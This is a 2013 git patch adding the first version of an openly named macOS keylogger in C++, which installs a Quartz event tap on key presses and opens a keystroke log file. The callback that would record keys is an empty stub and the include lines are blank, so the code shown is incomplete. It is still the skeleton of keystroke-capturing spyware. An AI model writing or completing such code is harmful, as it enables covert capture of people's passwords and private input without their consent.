From ea1cbc50f45aba13d3a3b8109d674bad4922d199 Mon Sep 17 00:00:00 2001 From: Casey Scarborough Date: Mon, 16 Sep 2013 18:34:35 -0400 Subject: [PATCH] Implement basic main function. --- keylogger.cpp | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/keylogger.cpp b/keylogger.cpp index e69de29..4677b54 100644 --- a/keylogger.cpp +++ b/keylogger.cpp @@ -0,0 +1,36 @@ +#include +#include +#include +#include +#include +// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html + +using namespace std; + +string logfileLocation = "./keystroke.log"; +CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *); + +int main(int argc, const char *argv[]) { + + CGEventFlags flags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState); + CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged)); + CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, CGEventCallback, &flags); + + if(!eventTap) { + cout << "You need to enable \"Enable access for assistive devices\" in the System Preferences Accessibility panel." << endl; + exit(1); + } + + CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0); + CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); + CGEventTapEnable(eventTap, true); + + ofstream logfile; + logfile.open(logfileLocation, ios::app); + logfile << "Keylogging started."; + CFRunLoopRun(); + + return 0; +} + +CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {} \ No newline at end of file